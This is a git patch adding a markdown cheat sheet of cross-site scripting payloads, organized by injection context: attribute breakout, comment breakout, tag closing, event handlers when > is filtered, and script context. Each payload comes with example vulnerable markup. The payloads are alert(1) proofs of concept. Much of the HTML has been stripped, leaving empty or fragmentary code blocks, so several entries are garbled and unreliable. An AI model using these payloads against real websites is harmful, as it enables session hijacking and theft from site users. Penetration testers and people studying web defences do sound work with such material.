From f3b7a38a684f0b89b95036bf3b9a3e95a0b0e2ee Mon Sep 17 00:00:00 2001 From: Muhammad Daffa <36522826+MD15@users.noreply.github.com> Date: Sat, 12 Sep 2020 18:08:09 +0700 Subject: [PATCH] XSS [1] Create a post about XSS payload and add 6 payloads --- XSS.md | 65 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 65 insertions(+) create mode 100644 XSS.md diff --git a/XSS.md b/XSS.md new file mode 100644 index 0000000..2f8e976 --- /dev/null +++ b/XSS.md @@ -0,0 +1,65 @@ +# XSS Payloads +1. Basic payload +```html + + + +``` + +2. Add ' or " to escape the payload from value of an HTML tag +```html +"> +'> +``` + +* Example source code +```html + +``` + +3. Add --> to escape the payload if input lands in HTML comments. +```html +--> +``` + +* Example source code +```html + +``` + +4. Add when the input inside or between opening/closing tags, tag can be , and any other HTML tags +```html + +"> +``` + +* Example source code +```html +1 +``` + +5. Use when input inside an attribute’s value of an HTML tag but > is filtered +```html +"onmouseover=alert(1) +"autofocus onfocus=alert(1) +``` + +* Example source code +```html + +``` + +6. Use when input inside +``` + +* Example source code +```html + +``` + + +*Will be updated again!